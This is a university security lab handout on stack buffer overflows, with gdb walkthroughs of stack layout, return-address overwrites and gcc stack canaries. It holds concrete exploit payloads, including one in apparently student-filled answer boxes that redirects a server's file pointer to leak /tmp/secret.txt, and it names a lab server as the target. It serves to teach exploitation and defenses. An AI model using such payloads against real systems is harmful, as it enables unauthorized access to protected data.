Security Lab – Buffer Overflow Attacks

VMware

- This lab can be solved with the **Ubuntu image**, which you should start in networking-mode **Nat**. The remainder of this document assumes you are working with the Ubuntu image.
- It may be possible to solve this lab on any system with installed gcc and gdb, but it has only been tested with the versions on the Ubuntu image. It's therefore strongly recommended you solve this lab using the Ubuntu image.

1 Introduction

This lab deals with buffer overflow attacks, which are still among the most often used attacks to break into computer systems or to distribute malware.

The lab consists of two main tasks. Task 1 is a step-by-step guideline to get familiar with the topic buffer overflow attacks in general and the tools that are used in this lab: gdb (GNU debugger) and gcc (GNU C compiler). The knowledge you acquire in task 1 will then be used in task 2, where you'll have to find and exploit a buffer overflow vulnerability in a program on your own.

Besides exploiting vulnerabilities, you'll also analyze the stack protection mechanisms of gcc.

2 Basis for this Lab

- Download *bufferoverflow.zip* from OLAT.
- Move the file to an appropriate location (e.g. in a directory *securitylabs* in the home directory */home/user*).
- Unzip the file.

3 Task 1 – Walkthrough

In this task, you will exploit a buffer overflow vulnerability in a simple C program. Your main task is to understand what exactly happens during the following analysis. You find the source code in folder *task1* of the downloaded content. In the following, we discuss the important code sections.

The program consists of three functions. The function *normal()* is called by *main()* (in C, main() is the entry point into a program) and receives a pointer to the string that was passed to the program as a command line argument. With *strcpy()* the string is copied into a local buffer (buff), which has previously been filled with the ASCII character 'B' (using *memset()*). In addition, and after copying the string, the function prints the content, the address, and the size of the buffer to the terminal

```
void normal(char *args) {
  char buff[12]; // allocate local buffer on stack

  memset(buff, 'B', sizeof (buff)); // fill buffer with B's
  strcpy(buff, args); // Copy received string to buffer
  printf("\nbuff: [%s] (%p)(%zu)\n\n", buff, buff, sizeof(buff));
}
```

It's important to realize that the C-function *strcpy()* does not check the size of the string or the buffer. If too many bytes are copied into the local buffer, data is written beyond the end of the buffer, which means *strcpy()* is vulnerable to buffer overflow attacks.

The *secret()* function is only called by *main()* if the ID of tthe current user is 0, i.e. if the user is root. This function simply writes a string to the terminal and terminates the program.

```
void secret(void) {
  printf("Secret function was called!\n");
```

```
  exit(0);
}
```

Within the *main()* function, the addresses of the two other functions are printed to the terminal. They could also be accessed by a debugger, but for simplicity they are printed directly to the terminal.

In the remainder of this task, we want to try to call *secret()* without being root. To achieve this and to see why this indeed is possible, the following step-by-step guideline is used.

Don't be surprised if the memory addresses used on your system are different than the ones in this document. Depending on the used kernel, libc, and compiler, this may vary. You therefore have to use the addresses that correspond to the ones used on your system. Perform all steps in a terminal as *user*.

1. Delete any compiled components that may possibly be available on your system and compile the program, a corresponding Makefile is available:

   ```
   # make clean
   # make
   ```

2. Run the program and pass an arbitrary command-line argument with at most 12 characters:

   ```
   # ./task1 ABCDEFG
   ```

   As you can see, the program works as expected. As you are not root, *normal()* is called.

3. Now we want to exploit the vulnerability of *strcpy()*. During program start, pass a long command-line argument. You'll see that a segmentation fault occurs. Segmentation faults happen in C-programs whenever the program tries to access a disallowed address.

   To understand why this segmentation fault happens, we analyze the structure and content of the stack in detail. As the segmentation fault happens within *normal()*, we must analyze the stack briefly before the function is left. For this task, the GNU debugger (gdb) is well suited.

4. Start the debugger and pass the program as command-line argument:

   ```
   # gdb task1
   ```

5. The command `list normal` display the source code in the area of the function *normal()*. `list normal, 27` displays the code of *normal()* until line 27.

   ```
   (gdb) list normal, 27
   20 void normal(char *args) {
   21   char buff[12];
   22
   23   memset(buff, 'B', sizeof (buff));
   24   strcpy(buff, args);
   25   printf("\nbuff: [%s] (%p)(%d)\n\n", buff, buff, sizeof(buff));
   26 }
   27
   ```

6. As we are interested in the stack right before leaving the function *normal()*, we must set a break-point at line 26, which causes the debugger to halt the program when it reaches that line.

   ```
   (gdb) break 26
   Breakpoint 1 at 0x4007046f2: file task1.c, line 26.
   ```

7. Now you can start the program. Use the String "AAA" as command line argument:

   ```
   (gdb)run AAA
   Starting program: /home/user/Desktop/bufferoverflow/task1/task1 AAA
   Address of secret(): (0x400686)
   Address of normal(): (0x40069e)

   buff: [AAA] (0x7fffffffdd00)(12)
   ```

```
Breakpoint 1, normal (args=0x7fffffffe216 "AAA") at task1.c:26
26    }
```

The program starts and halts as expected at the breakpoint.

8. Now we can analyze the stack in detail:

```
(gdb) bt
#0  normal (args=0x7fffffffe216 "AAA") at task1.c:26
#1  0x0000000000400758 in main (argc=2, argv=0x7fffffffde28) at
    task1.c:42
```

The debugger shows that there are two stack frames, one for each function that was called.

9. We are interested in the stack frame of the function *normal()*:

```
(gdb) info frame 0
Stack frame at 0x7fffffffdd20:
 rip = 0x4006f2 in normal (task1.c:26); saved rip = 0x400758
 called by frame at 0x7fffffffdd50
 source language c.
 Arglist at 0x7fffffffdd10, args: args=0x7fffffffe216 "AAA"
 Locals at 0x7fffffffdd10, Previous frame's sp is 0x7fffffffdd20
 Saved registers:
  rbp at 0x7fffffffdd10, rip at 0x7fffffffdd18
```

Among other details, the output shows the value of the saved instruction pointer (`saved rip`[1]), which is `0x400758`. Note that leading 0-bytes are in general not printed by gdb, so the «true» 64-bit value of `rip` is `0x0000000000400758`. When leaving the function, this is the address where command execution will continue. In addition, in the last line of the output, you can see the addresses where the saved `rbp` (base pointer) and `rip` are stored in the stack frame.

10. We now analyze the content of the stack, starting from buffer `buff`. The address of `buff` was printed to the terminal (see step 7).

```
(gdb) x/8x 0x7fffffffdd10
0x7fffffffdd00:   0x00414141  0x42424242  0x42424242  0x00007fff
0x7fffffffdd10:   0xffffdd40  0x00007fff  0x00400758  0x00000000
```

This command shows eight double words (a double word corresponds to 32 bits) starting from the specified address (instead of the address, one can also use a variable to display the double words starting from the address of the variable; so `x/8x buff` would have worked as well). We immediately see:

- The three passed A's (hexadecimal `0x41`) in the first double word.
- The 7th and 8th double words (`0x00400758` and `0x00000000`) contain the saved `rip`, of which we know the value `(0x400758)` from the stack frame info above.
- The 5th and 6th double words (`0xffffdd40` and `0x00007fff`) correspond to the saved `rbp`, of which we know the address (`0x7fffffffdd10`) from the stack frame info above.
- The 4th byte with value `0x00007fff` has no special meaning, it's most likely used to align the 12-byte array `buff` to 16-byte memory boundaries.
- ***Important:*** The actual memory layout may look different on your system as it depends on the used version of gcc. It is therefore possible that there are additional double words between the end of `buff` and the saved `rbp`. If this is the case, consider this in the remainder of this task.

[1] With 16-bit OS, the instruction pointer was named ip, with 32-bit OS, it's eip, and with 64-bit OS, it's rip. The same holds for other registers, e.g. the base pointer: bp, ebp, rbp.

Note that in any double word displayed above (and below), the rightmost byte has the lowest and the leftmost byte the highest memory address. This is why the three A's in the first double word are shown as `0x00414141`: The first three bytes are A's and the 4th (the leftmost one and therefore the byte with highest address in this double word) is the NUL-byte (value `0x00`) that terminates a string in C.

Also, note how the 64-bit address of the saved `rbp` (`0x00007fffffffdd40`) is spread "in opposite order" across the 5th and 6th double words: The reason is that we are using an x86 architecture (the currently dominating architecture in the "PC market") where the bytes of number types (such as addresses) are stored in little endian format. This means that the least significant byte (here `40`) is stored at the lowest memory address (here `0x7fffffffdd10`) and the most significant byte (here `00`) at the highest memory address (here `0x7fffffffdd17`). The same holds for the saved `rip` in the 7th and 8th double words.

Based on the output of the command used above, the following illustration shows the relevant part of the stack even more detailed, including an indication of what is stored at the addresses (Content).

Address	Content	Bytes			
0x7fffffffdcfc		0x00	0x00	0x7f	0xff
0x7fffffffdd00	buff	0x00	0x41	0x41	0x41
0x7fffffffdd04	buff	0x42	0x42	0x42	0x42
0x7fffffffdd08	buff	0x42	0x42	0x42	0x42
0x7fffffffdd0c	(align)	0x00	0x00	0x7f	0xff
0x7fffffffdd10	rbp	0xff	0xff	0xdd	0x40
0x7fffffffdd14	rbp	0x00	0x00	0x7f	0xff
0x7fffffffdd18	rip	0x00	0x40	0x07	0x58
0x7fffffffdd1c	rip	0x00	0x00	0x00	0x00

In buffer `buff` we can easily see the NUL-terminated String "AAA", which we have passed as an argument and which was copied into the buffer with *strcpy()*. One also sees that the buffer on the stack is filled from its starting address towards the higher addresses ("downwards" in the illustration above), i.e. in the direction towards where `rbp` and `rip` are stored. The rest of the buffer is filled with B's (`0x42` hexadecimal, set by the function *memset()* above).

Next, there's the alignment byte followed by 8 bytes for the saved base pointer (`rbp`) and 4 bytes for the return address (`rip`) – note again that in your case, there may be additional double words between the end of `buff` and `rbp`.

Now you can also see why the program is terminated with a segmentation fault if one uses a too long argument. The following illustration shows the stack when entering 31 (or more if there are additional double words between `buff` and `rbp`) A's.

Address	Content	Bytes			
0x7fffffffddfc		0x00	0x00	0x7f	0xff
0x7fffffffdd00	buff	0x41	0x41	0x41	0x41
0x7fffffffdd04	buff	0x41	0x41	0x41	0x41
0x7fffffffdd08	buff	0x41	0x41	0x41	0x41

0x7fffffffdd0c	(align)	0x41	0x41	0x41	0x41
0x7fffffffdd10	rbp	0x41	0x41	0x41	0x41
0x7fffffffdd14	rbp	0x41	0x41	0x41	0x41
0x7fffffffdd18	rip	0x41	0x41	0x41	0x41
0x7fffffffdd1c	rip	0x00	0x41	0x41	0x41

Using more than 16 characters usually results in erroneous behavior (often a segmentation fault) because in this case, at least one byte of the saved base pointer is overwritten. As a result, the previously used stack frame cannot be regenerated in a correct way when the current method is left, which usually results in accessing disallowed addresses, which creates the segmentation fault.

We now try to overwrite the return address with the address of the function *secret()*. When returning from *normal()*, this results in executing *secret()* instead of returning to *main()*. We already know the address of *secret()* from step 7: `0x400686`, which corresponds to the 64-bit value `0x0000000000400686`. Leave the debugger and start the program as follows:

```
(gdb) quit

# ./task1 AAAAAAAAAAAAAAAABBBBBBBB$'\x86\x06\x40\x00\x00\x00
\x00\x00'
```

The 16 A's fill the buffer and alignment, the 8 B's overwrite the base pointer (note that if there are additional double words between `buff` and `rbp` on your system, you have to insert four additional characters for each double word!) and the next 8 bytes (`'\x86\x06\x40\x00\x00\x00 \x00\x00'`) contain the address of the function *secret()*. Using `$'...'` instructs the (bash) shell to interpret the characters in hexadecimal format. Note that the bytes of the address of *secret()* have to be entered in reverse order (`\x86\x06\x40\x00\x00\x00\x00\x00` for the address `0x0000000000400686`) because little endian is used and because the memory addresses of the bytes in a double word grow "from right to left" (as explained above). The following illustration shows what happens on the stack:

Address	Content	Bytes			
0x7fffffffddfc		0x00	0x00	0x7f	0xff
0x7fffffffdd00	buff	0x41	0x41	0x41	0x41
0x7fffffffdd04	buff	0x41	0x41	0x41	0x41
0x7fffffffdd08	buff	0x41	0x41	0x41	0x41
0x7fffffffdd0c	(align)	0x41	0x41	0x41	0x41
0x7fffffffdd10	rbp	0x42	0x42	0x42	0x42
0x7fffffffdd14	rbp	0x42	0x42	0x42	0x42
0x7fffffffdd18	rip	0x00	0x40	0x06	0x86
0x7fffffffdd1c	rip	0x00	0x00	0x00	0x00

If you have done everything correctly, the function *secret()* will indeed be called and you should get an output as follows:

```
Address of secret(): (0x400686)
Address of normal(): (0x40069e)

buff: [AAAAAAAAAAAAAAAABBBBBBBB] (0x7fff47501a50)(12)
```

```
Secret function was called!
```

In this case, no segmentation fault happens although the base pointer was overwritten. The reason is that in *secret()*, the function *exit()* is called, which terminates the program. Therefore, the stack frame of the calling function (*main()*) is never regenerated during runtime.

11. In the lecture you learned that compilers can integrate protection mechanisms to detect buffer overflows into the compiled code. Here, we are using a current version of the gcc compiler, but the rather easy attack described above worked nevertheless. The reason is that the stack protection mechanisms of gcc were explicitly deactivated. You can see this by opening the *Makefile* and identifying the option `-fno-stack-protector` at the beginning of the file.

    Remove the option (but keep option `-g`) and compile the program. Then call the program once with 24 and once with 25 A's. 24 A's should work but when using 25 A's, the program should terminate with the following message:

    ```
    *** stack smashing detected ***: ./task1 terminated
    ```

    It appears that gcc is indeed capable of detecting the buffer overflow attack. But how? You can understand this by again using `gdb` to analyze the stack. Enter 12 A's and look at the information about the stack frame of *normal()*:

    ```
    (gdb) info frame 0

    Stack frame at 0x7fffffffdd10:
     rip = 0x400771 in normal (task1.c:26); saved rip = 0x4007eb
     called by frame at 0x7fffffffdd40
     source language c.
     Arglist at 0x7fffffffdd00, args: args=0x7fffffffe20d 'A' <repeats 12
     times>
     Locals at 0x7fffffffdd00, Previous frame's sp is 0x7fffffffdd10
     Saved registers:
     rbp at 0x7fffffffdd00, rip at 0x7fffffffdd08
    ```

    This delivers us the address of the saved `rip`: `0x4007eb`. Now look at the content of the stack starting at the address of `buff`:

    ```
    (gdb) x/12x buff

    0x7fffffffdce0:   0x41414141  0x41414141  0x41414141  0x00000000
    0x7fffffffdcf0:   0x00000000  0x00000000  0xc796c000  0x77f83f2c
    0x7fffffffdd00:   0xffffdd30  0x00007fff  0x004007eb  0x00000000
    ```

    Here you can see 12 A's and the saved `rip`, but this time it is found at the 11th and 12th double words and not at the 7th and 8th as during the previous analysis. The 9th and 10th double words now corresponds to the saved `rbp` (the stack frame information above delivered us its address: `0x7fffffffdd00`). What's new are four additional double words starting at address `0x7fffffffdcf0`. The first two bytes are again used for memory alignment, and the next two bytes are nothing else than a stack canary that was inserted by the compiler.

    The resulting illustration of the stack including the stack canary looks as follows:

Address	Content	Bytes			
0x7fffffffdcdc		0x00	0x00	0x7f	0xff
0x7fffffffdce0	buff	0x00	0x41	0x41	0x41
0x7fffffffdce4	buff	0x41	0x41	0x41	0x41
0x7fffffffdce8	buff	0x41	0x41	0x41	0x41

0x7fffffffdcec	(align)	0x00	0x00	0x00	0x00
0x7fffffffdcf0	(align)	0x00	0x00	0x00	0x00
0x7fffffffdcf4	(align)	0x00	0x00	0x00	0x00
0x7fffffffdcf8	**Stack Canary**	**0xc7**	**0x96**	**0xc0**	**0x00**
0x7fffffffdcfc	**Stack Canary**	**0x77**	**0x78**	**0x3f**	**0c2c**
0x7fffffffdd00	rbp	0xff	0xff	0xdd	0x30
0x7fffffffdd04	rbp	0x00	0x00	0x7f	0xff
0x7fffffffdd08	rip	0x00	0x40	0x07	0xeb
0x7fffffffdd0c	rip	0x00	0x00	0x00	0x00

With stack canaries, the compiler includes additional code. The code results in pushing a pseudo-random value (the canary) onto the stack when entering a function and in checking whether this value is still the same right before leaving the function. This allows detecting buffer overflows that write beyond the "bottommost" variable on the stack, as this "destroys" the canary. Now it should be clear why the "attack" with 25 A's could be detected: The last A resulted in overwriting the first byte of the stack canary. You should also realize that it is no longer possible to use the attack described above, as it is not possible to overwrite the `rip` with the address of function *secret()* without destroying the canary.

Maybe you think that using 24 A's should be enough to overwrite the stack canary because of the NUL-byte that follows as the 25th character. But because gcc (at least in the used version) apparently sets the least significant byte of the canary to 0 (rightmost byte of the first canary double word in the representation above), the NUL-byte won't change the stack canary.

The value of the stack canary is newly created at every start of the program, so it's not possible for the attacker to predict its value. You can easily verify this by running the program several times and inspecting the value of the stack canary: it should have a different value each time.

4 Task 2 – Find and Exploit a Buffer Overflow Vulnerability on your own

This task serves to apply what you have learned above to another scenario. You find the source code in folder *task2* of the downloaded content.

This client/server application consists of the two executable `server` and `client`. The server receives from the client a message via TCP and sends the message together with the content of the file `public.txt` back to the client. In this task, you should again work as *user* (client and server).

Delete any compiled components that may possibly be available on your system and compile the client and the server:

```
# make clean
# make
```

This results in the two programs `server` and `client`. In addition, the files `secret.txt` and `public.txt` are copied to `/tmp`. Start the server in a terminal:

```
# ./server
```

Open another terminal and start the client by specifying the address of the server (`localhost`) and a (not too long...) message:

```
# ./client localhost <message>
```

The server sends the message together with the content of `/tmp/public.txt` back to the client, where the received data are printed to the terminal.

4.1 Part 1: Finding and Exploiting the Vulnerability

Your task is to carry out a buffer overflow attack to access the content of `/tmp/secret.txt`. The idea is that by using the client, you send the server specifically crafted data that causes the server to return the contents of `/tmp/secret.txt` to the client.

The server program also runs on the lab server `clt-dsk-t-2700.zhaw.ch`. As soon as you have managed to carry out the attack locally on your system, you should be able to use exactly the same attack against the lab server. Simply use `clt-dsk-t-2700.zhaw.ch` instead of `localhost`.

Document the performed steps and the important intermediate results in an understandable way in the box on the next page – this is important to get the lab points. In addition, read the following hints before you start:

- Study first the source code `server.c` and try to understand what happens. It's not necessary that you understand the socket communication in detail.
- Try to find out where you could exploit a buffer overflow vulnerability to achieve the goal. Hint: The function *handleClientRequest()* looks interesting. The parameter *cfd* is a handler for the connection with the client. *recv()* serves to read data from the client and this data is copied into the buffer *message* in the first while loop. And *file* contains the value of *fpub*, which is a pointer to the string `/tmp/public.txt`. Maybe this could be exploited somehow...
  Note: Constants such as `MSG_SIZE` or `BUF_SIZE` are defined in `task2.h`.
- To carry out the attack, you must understand how the involved variables are arranged on the stack, so you have to use the debugger as you have learned in task 1. In addition, the list of gdb commands in the appendix may be helpful; it also includes some commands that were not discussed in task 1. In particular, `print` will likely be helpful to find out the addresses of `fpub` and `fsec`, which contain the paths of the files `public.txt` and `secret.txt` as strings.
- The server is implemented in a way such that it creates a new process for every connection of a client (using *fork()*) to handle a request. The advantage of this is that the program does not have to be restarted every time it crashes because of a buffer overflow attempt by a client. But since gdb cannot be used to debug programs with multiple processes, the feature is deactivated per default in

the downloaded code. To activate it (which you don't have to do), one has to change the preprocessor statement `#define DEBUG 1` to `#define DEBUG 0` in `task2.h` and compile the program again using `make`.

Steps and intermediate results to find and exploit the vulnerability:

```
gdb server
break 120                              ./client localhost hello
run server

(gdb) x/8x file
0x6020d0 <fpub>: 0x706d742f 0x6275702f 0x2e63696c 0x00747874
0x6020e0 <fsec>: 0x706d742f 0x6365732f 0x2e746572 0x00747874

--> 0x6020e0 is the address of file secret.txt

This gives us the address of the variable file:
(gdb) print &file
$2 = (char **) 0x7fffffffdcb8

This gives us the address of the variable message:
(gdb) print &message
$13 = (char (*)[32]) 0x7fffffffdc90

Examine memory @ 0x7fffffffdc90:
(gdb) x/12x 0x7fffffffdc90
0x7fffffffdc90: 0x6c6c6568 0x0000006f 0xffffdd10 0x00007fff
0x7fffffffdca0: 0x00000003 0x00000000 0x00000000 0x00000000
0x7fffffffdcb0: 0x0000001e 0x00000000 0x006020d0 0x00000000

Address of the public.txt is the 11th double word! We need to replace this with the value
0x006020e0.

Crafted attack message:
./client localhost
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB$'\xe0\x20\x60\x00'
```

4.2 Part 2: Stack Protection

In this second part, we again look at the stack protection mechanisms offered by gcc. When inspecting the Makefile of this task, you can see the protection was again deactivated. Remove the option, compile the server and try again the same attack as before.

You'll see that the attack no longer works. You should now do the following:

- Analyze why the attack no longer works. Hint: check whether the variables *file* and *message* are arranged differently on the stack than before and what influence this has on the attack.
- Is it possible to "make the attack working again" by slightly adapting the message again? If yes, do so. If no, explain why it can't be done, i.e. explain why the protection mechanisms effectively prevent this attack.

Document your findings in the following box:

```
(gdb) x/8x file
0x6020e0 <fpub>: 0x706d742f 0x6275702f 0x2e63696c 0x00747874
0x6020f0 <fsec>: 0x706d742f 0x6365732f 0x2e746572 0x00747874

/tmp/public.txt is now at 0x6020e0 and /tmp/secret.txt at 0x6020f0

(gdb) info frame 0
Stack frame at 0x7fffffffdcc0:
 rip = 0x400de3 in handleClientRequest (server.c:121); saved rip = 0x400ca6
 called by frame at 0x7fffffffdd00
 source language c.
 Arglist at 0x7fffffffdcb0, args: cfd=4, addr=0x7fffffffdd10
 Locals at 0x7fffffffdcb0, Previous frame's sp is 0x7fffffffdcc0
 Saved registers:
  rbp at 0x7fffffffdcb0, rip at 0x7fffffffdcb8


  The variables "file" and "message" also changed their addresses:
  (gdb) print &file
  $2 = (char **) 0x7fffffffdc60
  (gdb) print &message
  $3 = (char (*)[32]) 0x7fffffffdc80

  Examine memory @ 0x7fffffffdc60:
  (gdb) x/16x 0x7fffffffdc60
  0x7fffffffdc60: 0x006020e0 0x00000000 0xffffdd10        0x00007fff
  0x7fffffffdc70: 0x006020e0 0x42424242 0xffff4242        0x00007fff
  0x7fffffffdc80: 0x41414141 0x41414141 0x41414141 0x41414141
  0x7fffffffdc90: 0x41414141 0x41414141 0x41414141 0x41414141

  Unfortunately the variable "file" is on a lower address than the variable "message".
  We can no longer overwrite this address space with our previous buffer overflow attack.
```

```
stack canary ??
run 1:
0x7fffffffdca0: 0x00000000 0x00000000 0xac4e9a00 0xf8d24dc0
run 2:
0x7fffffffdca0: 0x00000000 0x00000000 0xb34c4f00 0xcbee67e8
run 3:
0x7fffffffdca0: 0x42424242 0x42424242 0x94899b00 0x9fa25a48
```

Lab Points

For **2 Lab Points** you must show your results of task 2 to the instructor:

- You get the first point for solving part 1. You have to explain how the attack works (according to the steps you documented) and that you can indeed read the content of the file `secret.txt` from the lab server.
- If you have solved part 1 correctly, you get the second point for a reasonable answer to part 2.

5 Appendix

5.1 gdb commands

Below you find the most important commands of the GNU debugger. To use a program with the GNU debugger, the program must be compiled with the option –g, which adds necessary debugging information to the executable.

The debugger is started using the command `gdb <ExecutableName>`, where ExecutableName is the name of the program to debug.

`list` (or `l`)

Shows the next 10 source code lines. `list <LineNumber>` shows a few lines in front of and after the specified line. `list <FunctionName>, <LineNumber>` shows the lines of the specified function up to the specified line number.

`break` (or `b`)

Sets a breakpoint. `break <LineNumber>` sets a breakpoint at the specified line. `break <FunctionName>` sets a breakpoint at the beginning of the specified function.

`run <args>`

Runs the program. `<args>` are command line parameters that are passed to the program..

`delete <LineNumber>`

Deletes the breakpoint at the specified line. `delete` without arguments deletes all breakpoints.

`print <Variable>` (or `p`)

Shows the content of a variable. Using the address operator (`&<Variable>`) shows the address of a variable.

`continue` (or `c`)

Continues the program after is has stopped at a breakpoint.

`next` (or `n`)

Executes the next line. If it's a function call, the entire function is executed.

`step` (or `s`)

Just like `next`, but if the next line is a function call, the function is entered.

`backtrace` (or `bt`)

Shows the available stack frames.

`info`

Prints information about the running program. E.g. `info frame 0` shows the stack frame with number 0.

`x/<n>x <Address>` or `<Variable>`

Prints n double words starting from the specified address or the address of the specified variable.

`help <Command>`

Shows information about the specified command.

`quit`

Terminates gdb.